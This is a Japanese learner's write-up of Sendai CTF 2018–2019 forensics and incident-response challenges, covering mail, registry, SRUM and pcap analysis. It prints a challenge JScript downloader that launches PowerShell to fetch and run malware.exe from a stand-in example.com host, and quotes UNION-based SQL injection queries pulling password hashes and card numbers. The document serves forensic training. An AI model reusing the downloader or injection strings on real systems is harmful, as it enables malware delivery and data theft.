ということである。一歩目が分からない。MFTを見ればいいのだろうか?(CTFのフォレンジックにおけるブラウザフォレンジックまとめ)を参考にする。また、(マルウェア感染対応基礎編)仙台さんの資料を参考にするのはとてもいい。Temporary Internet Files/Content.IE5は一時フォルダであるようだ。ここに読み込んだファイルがメモリに移されるようだ。その中を探しているがいまだにこれといった探し方が分かっていない。そこで資料を見ていると.swfファイルが危険そうなようだ。

└─# grep swf -rl .
./index.dat
./ZJH275HV/sdk[1].js

と2つのファイルでswfという拡張子に言及している。その中で、用いられているファイル名を入力していくとindex.datで言及している.swfがあたりのようだ。

知識(index.dat)
index.dat (index.datファイルを削除できないのはなぜですか?)を参考にすると、「index.datは、ブラウザを通じてアクセスされたURL、アクセス時間、履歴レコードなどの情報を記録するIEキャッシュインデックスファイルです。」とある。よって、実行されたものも入っていたのだと予想される

(仙台CTF2018 Lab.2 脆弱性攻撃コードの特定 100)もっとスマートな解き方もあるようだ。フォレンジックツールはまだまだ知らないものが多いようだ。
$MFTを用いたタイムライン解析は仙台さんのやりかたの方が簡単そう。次の機会にやってみる。

Lab.3 遮断対象URLの特定

100 脆弱性攻撃コードのダウンロード元URLを特定し、プロキシサーバで通信を遮断することとしました。 Internet Explorerの一時ファイル(Lab.2の添付ファイル)を解析し、脆弱性攻撃コードのダウンロード元URLを特定してください。

[フラグ] 脆弱性攻撃コードのダウンロード元URL(半角、小文字) 例:http://www.example.com/aaa.swf
先の問題で抽出した時にURLは出てくるので、それを入力すれば終了。

Tri.1 脆弱性の論文

50 2018年1月4日(日本時間)に公開されたある脆弱性の論文では、説明のために以下のコードが用いられています。

1 ; rcx = kernel address 2 ; rbx = probe array 3 retry: 4 mov al, byte [rcx] 5 shl rax, 0xc 6 jz retry 7 mov rbx, qword [rbx + rax]

論文執筆者がこの脆弱性につけた名称を答えてください。

[フラグ] 脆弱性の名称(半角アルファベット小文字) 例:heartbleed

この脆弱性についての名称は Meltdown です。(HIRT-PUB18001:Meltdown、Spectre 問題と派生した CPU 脆弱性問題)

Tri.2 無断で仮想通貨発掘

50 ブラウザで仮想通貨を発掘するCoinhiveなどのツールやマルウェアを利用し、他人のコンピュータの能力を勝手に使って仮想通貨のマイニングを行う行為の名称(通称)を答えてください。

[フラグ] 上記のような行為の名称(全角カタカナ) 例:クロスサイトスクリプティング(暗号資産のマイニングとは? その特徴と個人での参加について解説)

Tri.3 車椅子の仕事人

50 パソコンやスマホに残された不都合なデジタル記録を依頼により抹消する仕事屋を題材とした日本の小説で、2018年7月からドラマ放送もされた作品のタイトルを答えてください。

[フラグ] 作品のタイトル(半角アルファベット小文字) 例:scarecrow こういう系の問題はAIに聞いている。速い。

ひとまず2018も一区切り。picoCTFが開催中なのでそちらに力を入れていく。その次に2019である。

2019

Opw1.状況確認

100 [問題の背景] インシデント発生日時: 2019年11月04日(月) ・本日23:42頃、あなたが離席中に、営業所の社員スズキさんから、不審メールが届いたとの電話連絡あったようです。必要な調査・対応を実施してください。

[補足] 「オープンワールド」に配置されたサーバなどのアイテムをクリックすると、アイテムに格納されているログファイルをダウンロードしたり、社員の証言などのメッセージを確認したりすることができます。 問題回答に必要と思うファイルなどを「オープンワールド」から取得し解析してください。

オープンワールドURL: http://www.sectanlab.jp/sendaictf2019/opw/  ID: sendaictf2019  Pass: soulfriend

[事前配布データ] このジャンルでは、以下事前配布データを利用します。ダウンロードのうえ展開しておいてください。 sendaictf2019day2.zip ※ZIPに格納されている各ファイルのパスワードは、シナリオの進行に合わせてオープンワールドで開示されます。

[問題] ・スズキさんに電話連絡し状況を確認してください。 オープンワールドのスズキさんをクリックすると、証言を確認できます。

[フラグ] スズキさんの証言の『 』で囲まれた文字列(半角、小文字) 例: abc@localdomain.invalid

オープンワールドという感じで社内と社外の構成図が渡された。そこからインシデントを読み解くようだ。面白い試みだと思う。まずは営業所にいる。鈴木さんに聞いてみる。証言に送信元メールアドレスが記載されているので、それを入力。終了。

Opw2.不審メール受信者

100 [問題] ・スズキさんが受信した不審メールは、他の社員にも送信されていたようです。スズキさん以外で不審メールを受信したユーザー名を特定してください。

[フラグ] スズキさん以外で不審メールを受信したユーザー名(半角、小文字) 例: user01
ということでほかの人もクリックしてみる。が、外出中で聞けない。PCを解析するしかなさそう。メールの解析方法が探してもないので手探りでやってみる。
まずは鈴木さんのPCで怪しいメールの痕跡を探してみる。
探し場所が分からないが、OUTLOOKらへんにあると考えた。そのために、このPCのOSについて調べた。
(Windowsのバージョン情報どこじゃい)を参考にしたら見つけた。Windows 7 enterpriseだそうだ。SANSの資料を見ながら探したがOUTLOOKフォルダは見当たらない。オープンワールドを確認するとメールソフトはThunderbirdだと書いてある。この情報をもとに探す。
MFT(ファイルパスから詳しく知る)とLogFile(実行したログから、ファイルパスを知る)、与えられたフォルダを考えながら進んでいたら、PC05\Users\user05\AppData\Roaming\Thunderbird\Profiles\oob69yqk.default-release\Mail\mail.sendaict\Inboxの中に攻撃者のメールアドレスが確認できた。調べてみるとこのinboxが受信トレイのようだ。受信トレイの名称を知っていればもっと早くできたかもしれない。
では、ほかの人のも見ていく。

PC13/Users/user13/AppData/Roaming/Thunderbird/Profiles/heudsa4v.default-release/Mail/mail.sendaictf.invalid]
└─# strings Inbox | grep attacker
Return-Path: <attacker@localdomain.invalid>
        (SquirrelMail authenticated user attacker)
From: attacker@localdomain.invalid

ありました。user19にはthunderbirdのフォルダなし。よって、終了。

Opw3.不審添付ファイル

100 [問題] ・スズキさんが受信した不審メールの添付ファイル(ZIP形式)に格納されているファイル名を確認してください。

[フラグ] 不審添付ファイル(ZIP形式)に格納されているファイル名 例: 9月分の見積書.js
ということで、添付ファイルのzipの中身を見るという問題。 =?ISO-2022-JP?B?GyRCQEE1YT1xGyhC?=.zipというzipファイルということは先の問題の場所で確認できた。中身のファイルをどのように確認したらよいのだろうか?鈴木さんは避けていないけどuser13は開けてしまったのかもしれない。=?ISO-2022-JP?B?GyRCQEE1YT1xGyhC?=.zipuser13に届いていたのも鈴木さんと同じである。ということでuser13に焦点を当てる。

zipファイルに関する何かしらのアクションをしたと考え、検索かけるとこのように、請求書.zipに変換して何かしらしているログがあった。これが怪しいと考えた。

そのzipの下でfile creationしているものを選択すれば終了。

Opw4.不審URL

100 [問題] ・不審メールの添付ファイルはダウンローダであり、開封すると不審URLからマルウェアをダウンロードし実行するようです。 ダウンローダがアクセスする不審URLを特定してください。

[フラグ] ダウンローダがアクセスする不審URL(半角、小文字) 例: http://abc.example.com/a.exe
というわけで、通信先URLを見つける。

請求書.jsの後半からpowershellが起動している。ここからサイトを訪れた履歴が分かればよいと感じた。
しかし、ファイルを探しても通信元となるものが見つけられないので、.zipをunzipしてファイルを解析することにした。

└─# strings ������.js
var AbCdEfg = WScript.CreateObject("W4wt93qS4wt93qc4wt93qr4wt93qi4wt93qp4wt93qt4wt93q".replace(/4wt93q/g, "") + ".Sh" + "ell");
var paranum = 0;
codestr = "powershell.exe $cHPNC8 = 'XmqRLtY';$a = 'Msxml' + '2.XML' + 'HTTP';$D9Bkpiq = 'zwfnxFQn';$b = 'ADO' + 'DB.' + 'Stream';$ViXHtaa = 'afPaNR';$c = 'G' + 'E' + 'T';$y6Zs8i = 'y9Nhj';$d = 1 - 1 + 1;$arfRq = 'Zret8';$hr = New-Object -ComObject $a;$Xb9C3z = 'WipMlqo1';$ab = New-Object -ComObject $b;$OWNniyp3 = 'okFmlbcF';$path = $env:temp + '\a.exe';$MeDUZLzU = 'ViEEyiDt';$hr.open($c, 'h'+'Tt'+'p:'             +'/'                   + '/'+ 'sl'+ 'i' + 'me.'+ 'ex' + 'amp' +'le.c' + 'om/'+'m'+'al' + 'wa'+ 're.e'+'xe', 0);$BkmnIhm = 'lMglhJCD';$hr.send();$OlUroA = 'ovwJO';$Zb3f7RVj2 = 'AyWGheD';$EUKnRQ = 'eq9G6';$jMjfuyL = 't9tGnMuT';$ab.open();$PaLGhJEr = 'Cf9lVfd';$ab.type = $d;$qiEHJ = 'NjQsbW3';$ab.write($hr.responseBody);$Gwtjxiu1 = 'Zm4B6l';$ab.savetofile($path);$LwzToi = 'XIEOnwD';$ab.close();$LSbathIv = 'yzxeScO';$JHAFYpTN = 'W1tBds';$LawOS = 'YTYyJd';$GVNSY2VL3 = 'QEXcEk';$aj8q2Pl = 'BFrEKTl';$B3Xz2p = 'YWgPSR2Y';$yGEJla7O = 'lWqvE';Start-Process $path;";
AbCdEfg.Run(codestr, paranum);

難読化されている模様。真ん中ぐらいでhr.openしてるところがアクセスしていると考えられる。難読化を解いたら終了。実際のマルウェアだとunzipしたら起動するかもしれない?安全に取り出す方法はあるのだろうか?

Opw5.感染PC

100 [問題] ・不審メールの添付ファイルを開封したPC(マルウェアに感染したPC)のIPアドレスを特定してください。

[フラグ] 不審メールの添付ファイルを開封したPCのIPアドレス(半角) 例:172.16.0.10
ということで、IPアドレスを調べる。はちべ(user13)のアドレスを調べるということだろうか?とアーティファクトを調べていたがわからない。資料に目を通すと書いてあった。終了。

Opw6.C2サーバ

100 [問題] ・感染したPCは、C2サーバに接続し、攻撃者に遠隔操作されるようです。C2サーバのホスト名を特定してください。

[補足] ・オープンワールドで感染したマルウェアは危険なため、事前配布データから削除してあります。 ・本問題の回答にあたり、マルウェア検体を解析したい場合は、次のとおり無害化してある問題用マルウェアを解析してください。  本物のマルウェア: C2サーバのホスト名末尾が「.com」  問題用マルウェア: C2サーバのホスト名末尾が「.invalid」

問題用マルウェアを解析した場合は、回答にあたり「.invalid」を「.com」に置き換えてください。  なお、問題用マルウェアはセキュリティ対策ソフトで検知されますので、仮想マシンなどを利用し解析してください。

[フラグ] C2サーバのホスト名(半角) 例: abc.example.com

[問題ファイル名] malware_safe.zip ※マルウェア検体を解析したい場合のみ利用します。  (その他アプローチでも正解に辿り着けます。)

[ZIPファイルのパスワード] 12D09625F2051FAEED4F95A985CD5C2A
通信していると考えて通信ログなどがあると考えたが、それを見つけることができなかった。どこをみればよかったのだろうか?も足も出ない。writeupを見てみる。(仙台CTF 2019 Opw6.C2サーバ 100)。となると通信ログを見るという発想はよかったと思うが、どこにあるかを考えられなかった。プロキシや間にあるということを知っていこう。

##Opw7.ラテラルムーブメント 100 [問題] ・不審メールにより感染したPCから、ネットワーク経由で他のPCに感染が拡大し、そちらも遠隔操作されたようです。ネットワーク経由で感染したPCのIPアドレスを特定してください。

[フラグ] ネットワーク経由で感染したPCのIPアドレス(半角) 例: 172.16.0.11
はちべさんから横展開していると考える。今度は間に何もないので、どこから通信ログを見たらいいのだろうか?たぶん、カクノさんだと思うけど、その証拠をつかもう。でも、やはりどこにアーティファクトがあるのかわからない。
こちらは横展開の痕跡を探すというよりすでに横展開されたのは事実としてあって、遠隔操作の通信を見るものではないのか?先と同じログを見ると不審なホストと通信しているのがもう一つある。それが答え。

Opw8.攻撃ツール

100 [問題] ・攻撃者は、不審メールにより感染したPCから、他のPCに感染拡大させるため、ネットワーク経由で他のPC上のプログラムを起動できるツールを利用したようです。 ・このツールが起動された日時を特定してください。(誤差1分以内を正解とします。)

[フラグ] ツールが起動された日時(yyyy/mm/dd-hh:mm、半角) 例: 2019/11/16-11:12
実行したことがわかるアーティファクトを探していたが、今回prefetchがないのでそこまで詳しく探せれない。(仙台CTF 2019 Opw8.攻撃ツール 100)writeupを見た。理想的ではないけど、現実でも実行された時刻をこのように絞っていくことは考えられる。柔軟に考えていきたい。

Opw9.シークレット

300 [問題] シークレット問題です。 問題の説明文および問題ZIPファイルのパスワードはオープンワールドに隠されています。

[問題ファイル名] Secret.zip

USBが見えたので押してみたら発見。メモリイメージが渡された。

└─# file ddimage
ddimage: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", sectors/cluster 8, reserved sectors 8, root entries 512, sectors 20480 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 8, sectors/track 63, heads 4, hidden sectors 1, serial number 0xe8992337, unlabeled, FAT (12 bit)

autopsyで解析してみる。何かしらのpng,docx,xlsxがあるようだ。ファイルシステムを見て、これらと同じようなものが作られた痕跡を探す問題かな?(仙台CTF 2019 Opw9.シークレット 300)writeup見た。そんなところにも情報が隠れているとは知らなかった。wordやexcelがzipなのは知っているがそこからの動きを知らなかった。

OpwN.シークレットその2(未解決)

300 [問題] シークレット問題2です。 問題のフラグはオープンワールドに隠されています。
できない。

Tri1.不正ログイン対策

100 [問題] ・ウェブサイトやソフトウェアなどにログインする際に「IDとパスワード」等による認証の後、必要に応じてもう1回認証を求める認証方式を○○認証という。

[フラグ] 認証方式の名称(全角、日本語) 例:パスワード認証
これは二段階認証ですね。

Tri2.サプライチェーン攻撃

100 [問題] ・某セキュリティ研究者が2019年3月にブログで発表した情報によると、台湾の某メーカー製パソコンにプリインストールされる自動更新ツールに、バックドアが仕込まれるという標的型攻撃が判明したとのことです。 ・同セキュリティ研究者は、この攻撃をOperation 「○○」と名付けました。

[フラグ] 本標的型攻撃に付けられた名称(半角、英語) 例: Aurora
Aiさんに聞いて終了。その標的型攻撃はどうやって防げるんだ?ハッシュ値を確認するとか?

Tri3.Botnet Brute forces RDP

100 [問題] ・某セキュリティ研究者が2019年6月にブログで発表した情報によると、RDP接続が可能な端末に対し、ブルートフォース攻撃で感染を広げるボットネットが確認されたとのことです。また、同ボットネットはすでに侵害済みと見られる150万件のホストとアカウント情報のリストを保有していたとのことです。 ・同セキュリティ研究者は、このボットネットを「○○」と名付けました。

[フラグ] 本ボットネットに付けられた名称(半角、英語) 例: Necurs
こちらも同様にAIに聞いて終了。

NL1.IDSパケット解析

100 [問題の背景] ・DMZに設置しているIDSの監視を外部に委託しています。委託先から公開Webサーバに対するSQLインジェクション攻撃を検知したとの連絡がありました。 ・公開Webサーバには、データベースからデータを取得して動的にデータを更新して表示する機能があります。 ・あなたは、この攻撃の影響を確認するため、調査を実施することにしました。

[問題] ・IDSが攻撃検知時に自動作成したPCAPファイルを分析し、攻撃元のIPアドレスを特定してください。

[フラグ] 攻撃元のIPアドレス(半角) 例:192.168.15.10

[問題ファイル名] NL01.zip

[ZIPファイルのパスワード] 923DDE988283338B4063812B7B484BEB


上記のようなpcapが渡された。httpプロトコルで不審なGETを送っているユーザーがいる。httpで検索したら一目でわかる。

NL2.攻撃コード

100 [問題] ・パスワードのハッシュ値の取得が成功したSQLインジェクションの攻撃コードを特定してください。 ・攻撃者は、ウェブページのフォームに攻撃コードを投入しています。

[フラグ] SQLインジェクションの攻撃コード(半角) 例:' OR 1=1--

[問題ファイル名] NL02.zip

[ZIPファイルのパスワード] 38A1D1CCC0230E9C192B857D763D8046
ということで、何かしらのlogファイルが渡された。パスワードのハッシュ値がとられたようだ。
DBへのクエリを見てみるとそれらしい攻撃がいくつかある。

└─# strings DB�T�\[�o\[mysql\]���Omysql.log  | grep Query | grep SELECT
                      3 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE isnew = 'Y'
                      5 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE isnew = 'Y'
                      6 Query       SELECT price FROM itemdb WHERE itemnum = '1000'
                      7 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE itemnum IN (1000)
                      8 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE itemnum IN (1000)
                     15 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE isnew = 'Y'
                     16 Query       SELECT orderdate, ordercost, orderitems, itemlist, ccard FROM orderdb WHERE accountid = '' ORDER BY orderdate,ordertime
                     18 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE ''' IN (itemnum,sdesc,ldesc)
                     19 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'a' = 'a' UNION SELECT VERSION(),2,3,4 #' IN (itemnum,sdesc,ldesc)
                     20 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'b' = 'b' UNION SELECT email,2,3,4 FROM userdb #' IN (itemnum,sdesc,ldesc)
                     21 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'c' = 'c' UNION SELECT password,2,3,4 FROM userdb #' IN (itemnum,sdesc,ldesc)
                     22 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'd' = 'd' UNION SELECT email,passwd,3,4 FROM userdb #' IN (itemnum,sdesc,ldesc)
                     23 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'e' = 'e' UNION SELECT ccard,expdate,3,4 FROM orderdb #' IN (itemnum,sdesc,ldesc)
                     24 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'f' = 'f' UNION SELECT accountid,ccard,3,4 FROM orderdb #' IN (itemnum,sdesc,ldesc)
                     25 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE isnew = 'Y'
                     27 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE isnew = 'Y'
                     28 Query       SELECT price FROM itemdb WHERE itemnum = '1003'
                     28 Query       SELECT price FROM itemdb WHERE itemnum = '1008'
                     29 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE itemnum IN (1003,1008)
                     30 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE itemnum IN (1003,1008)
                     31 Query       SELECT * FROM userdb WHERE email='NERO@roma.it' AND passwd='9a582dbf148b2f3a86e9adcd2220cbe4'
                     32 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE isnew = 'Y'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1000'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1003'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1005'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1008'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1009'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1011'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1012'
                     33 Query       SELECT price FROM itemdb WHERE itemnum = '1014'
                     34 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE itemnum IN (1000,1003,1005,1008,1009,1011,1012,1014)
                     35 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE itemnum IN (1000,1003,1005,1008,1009,1011,1012,1014)
                     36 Query       SELECT orderdate, ordercost, orderitems, itemlist, ccard FROM orderdb WHERE accountid = 'NERO@roma.it' ORDER BY orderdate,ordertime

password関係のクエリは以下の3つ。

└─# strings DB�T�\[�o\[mysql\]���Omysql.log  | grep Query | grep SELECT | grep pass
                     21 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'c' = 'c' UNION SELECT password,2,3,4 FROM userdb #' IN (itemnum,sdesc,ldesc)
                     22 Query       SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'd' = 'd' UNION SELECT email,passwd,3,4 FROM userdb #' IN (itemnum,sdesc,ldesc)
                     31 Query       SELECT * FROM userdb WHERE email='NERO@roma.it' AND passwd='9a582dbf148b2f3a86e9adcd2220cbe4'

この中のwhereの中身を入力したら終了。

NL3.SQLインジェクション

100 [問題] ・SQLインジェクションを実行した攻撃者のアカウント名(Full name) とパスワードを特定してください。

[フラグ] [account name]-[password] 例: 仙台太郎-qwerty

[問題ファイル名] NL03.zip

[ZIPファイルのパスワード] D5E63184BC3E5F9FE8C4767E0D936AFD
難しかった。先の問題の以降にログインが起こるのだと思い。先のSQLインジェクションの後に起こった登録だと思い、ネロアカウントでログインしたのだと思ったが、これじゃないみたい。(仙台CTF 2019 NL3.SQLインジェクション 100)を参考にした。registerがキーワードだったようだ。また、DB,WEBのログ記録を照らし合わせないといけないようだ。また、パスワードがハッシュ値になっているので、それももとに戻さないといけないことに注意。

For1.パスワード変更日時

100 [問題の背景] インシデント発生日時: 2019年10月27日(日) ・取引先の社員から「機密情報が流出している」というメールが届きました。調査した結果、開発環境(※1)のPC1台に外部からRDP接続され、そこから機密情報が流出していることが判明しました。 ・インターネットから開発環境にRDP接続することは社内ルールで禁止していたため、関係者に聞き取り調査したところ、問題発生の前日、委託先社員が開発用PCおよびブロードバンドルーターの設定を無断で変更し、インターネットからのRDP接続を許可していたことが判明しました。 ・委託先社員は「RDP接続の設定を無断で変更してしまったことは認めるが、強固なパスワードを設定していた。不正アクセスの原因は他にある」と主張していますが、証言内容が二転三転しており、事実と異なる証言をしている可能性があります。 ・あなたは、事実関係を確認するため、フォレンジック調査を実施することにしました。

(※1)開発環境について ・開発環境は、社内ネットワークとは切り離されており、開発プロジェクトに携わる営業部社員と委託先社員のみが利用している。 ・開発環境はブロードバンドルーターでインターネット接続されており、開発用PC2台、開発用サーバ1台が設置されている。 インターネットは、最新ライブラリのダウンロードや情報収集に利用しており、その他の目的で利用することは禁止されている。

[問題] ・現状の開発用PCには強固なパスワードが設定されていますが、機密情報が流出した当時は脆弱なパスワードが設定されていた可能性があります。 ・委託先社員が、情報流出の連絡を受けてからパスワードを変更した痕跡がないか確認し、パスワードが変更された日時を特定してください。なお、機密情報が流出しているというメールが届いた日時は、2019年10月27日09:00です。

[フラグ] 開発用PCのユーザー「develop」のパスワード最終変更日時(半角、yyyy/mm/dd-hh:mm:ss) 例: 2019/11/16-12:10:15

[問題ファイル名] For01.zip

[ZIPファイルのパスワード] CBF0574061ED942D3139EE9250E9DBBE
ということでSAMファイルを渡された。

知識(SAM)
SAM (Windows Forensic Analysis)を参考にした。ログイン情報やパスワード変更情報が入っているようだ。

Registry Explorerで確認する。
000003EAに載っているのがdevelopアカウントの情報のようだ。でも、日時は見えない。これじゃ見えれないのかな。(仙台CTF 2019 For1.パスワード変更日時 100)を参考にwindows registry recoverを入れた。そして確認した。
last write timestampでも確認できたのかもしれない。

For2.違法動画

100 [問題] ・委託先社員が開発用PCに接続していたUSBメモリには、P2Pからダウンロードしたと思われる違法な動画ファイルが格納されていました。 ・開発用PCに違法な動画ファイル(無料動画.zip)が格納されていた痕跡がないか確認してください。

[フラグ] 違法な動画ファイル「無料動画.zip」が削除された日時(半角、yyyy/mm/dd-hh:mm:ss) 例: 2019/11/16-12:10:15

[ZIPファイルのパスワード] A95F45192F4C6AB5907705B7B4903E92
ということで$Jファイルが渡された。これだけで解析したことはないのでどうしましょうか。NTFS Log Trackerで読み込めた。見ていく。ログが多いので、片っ端から見ていくのは難しそうだ。何かしら検索していきたい。zipといっているのでzpを探す。結構絞れた。

無料動画.zipありました。
消されてもいるみたい。

For3.通信履歴

100 [問題] ・委託先社員は、開発用PCにP2Pソフト「Share」をインストールしたことは認めましたが、動画ファイルをダウンロードしたことは無いと証言しています。 ・「Share」の通信履歴を調査し、最も大きなファイルをダウンロードした日時と受信バイト数を特定してください。

[フラグ] プログラム「Share.exe」で最も大きなファイルをダウンロードした日時と受信バイト数(半角、yyyy/mm/dd-hh:mm:ss-nnnn)  ※「n」はバイト数 例: 2019/11/16-12:10:00-1024

[問題ファイル名] For03.zip

[ZIPファイルのパスワード] 56DDB3D082D4D5824474382430B57416
ということで、SRUDB.datというファイルを渡された。NTuser.datと似ているものかと思い、レジストリビューアにぶち込んだが反応なし。違うようだ。

知識(SRUDB.dat)
SRUDB.dat (フォレンジックにおけるSRUMの活用)を参考にした。「SRUMは、ある期間内で実行されたアプリケーションやそのアプリケーションを実行したユーザーアカウント、アプリケーション毎のネットワーク通信量といったデータを収集します。」だそうです。データベースのようだ。(SRUM(ネットワーク等使用履歴)の調査方法【フォレンジック】)これも参考になる。

通信量まで見れるのはすごい。networkusageviewで確認した、exeプロセスがあるが、解析はしにくい。SrumECmdを用いて、CSVファイルにしたのちにコマンドで探した。

└─# cat 20240323041018_SrumECmd_NetworkUsages_Output.csv | grep share.exe
337,2019-10-23 10:35:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,69118,1880,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
372,2019-10-24 01:54:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,68269,1772,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
392,2019-10-24 02:54:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,136484,3760,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
418,2019-10-24 08:40:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,138367,5056,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
441,2019-10-24 10:24:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,138654,5110,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
499,2019-10-25 08:21:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,68150,1934,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
521,2019-10-25 09:47:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,137327,5758,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
558,2019-10-25 10:55:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,69600,3014,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
582,2019-10-26 03:24:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,138627,5434,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
622,2019-10-26 04:22:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,68816,2744,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
647,2019-10-26 06:00:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,138485,5704,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
693,2019-10-26 08:54:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,69789,2960,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
712,2019-10-26 09:16:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,84611350,301312,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,
738,2019-10-27 02:49:00,\device\harddiskvolume2\users\develop\downloads\share.exe,,,UnknownOrUserSid,S-1-5-21-3589201120-3083077123-1171929968-1002,,1066,1564,68181,2042,1689399699963904,IF_TYPE_ETHERNET_CSMACD,0,0,

という感じで出力された。この表で1564の次の値が受信したbytes量になる。その中から一番大きいのを探せば終了。

Lab1.パケット解析

100 [問題の背景] インシデント発生日時: 2019年10月26日(土) ・とある休日の夜、あなたが自宅でSNSを閲覧していたところ、「うちのサーバが192.168.15.100から大量のRDPアクセス受けてる。仙台シーテーエフのIPみたいだけど乗っ取られているのか?とりあえずファイアウォールで遮断しておこう。」と投稿されていることを発見しました。 ・SNSに投稿されたIPアドレス「192.168.15.100」は、自社DMZのインターネット側Firewallに割り当てされているものですが、DMZ内部のサーバがインターネットにアクセスする際は、同IPアドレスにNAT変換されるため、DMZ内のどのサーバが攻撃元となっているのかは不明です。また、Firewallでは調査に役立ちそうなログは記録していません。

[問題] ・DMZ内部でキャプチャしたパケットを解析し、インターネットに攻撃しているサーバのIPアドレスを特定してください。

[ネットワークアドレス] インターネット: 192.168.15.0/24 DMZ内部セグメント:192.168.100.0/24

[フラグ] 外部に攻撃しているサーバのIPアドレス(半角) 例: 192.168.100.10

[問題ファイル名] Lab01.zip

[ZIPファイルのパスワード] 69B3EA0B3265674C78E5066BD542521C
ということでpcapが渡された。今回はパケットが多そうなので、いつものように解析していく。
TCP通信が主に行われている。TPKT-ISO on TCP というプロトコル?があるが何だろう。
エンドポイントは少ない。RDPでフィルタすると1つのIPアドレスから送られている。違った。このアドレスじゃないようだ。この考え方は間違っているのか?RDPの送信先アドレスが答えだった。つまり、リモート接続してデータをもらっている方が攻撃しているということか。

Lab2.イベントログ解析

100 [問題] ・DMZに設置されていた開発用サーバ(Windows Server 2016)がマルウェアに感染し、外部にRDPブルートフォース攻撃を実施していたことが判明しました。開発用サーバのイベントログを解析し、開発用サーバに不正ログインしたIPアドレスのうち、10秒以上ログインしたものを特定してください。

・なお、192.168.15.128は、開発部門システム管理者が利用している開発用PCであり、不正ログインではありません。開発用PCは2019年10月26日(土)20:16以降は利用していないため、この時刻以降の開発用サーバへのRDPログオンは、不正ログインとみなしてください。

[フラグ] 開発用サーバに不正ログインしたIPアドレスのうち、10秒以上ログインしたもの(半角) 例:192.168.15.10

[問題ファイル名] Lab02.zip [補足]  イベントログは以下フォルダに格納されています。  Lab02\Windows\System32\winevt\Logs

[ZIPファイルのパスワード] 40991EF9BE481647DB82A5F2E7266840
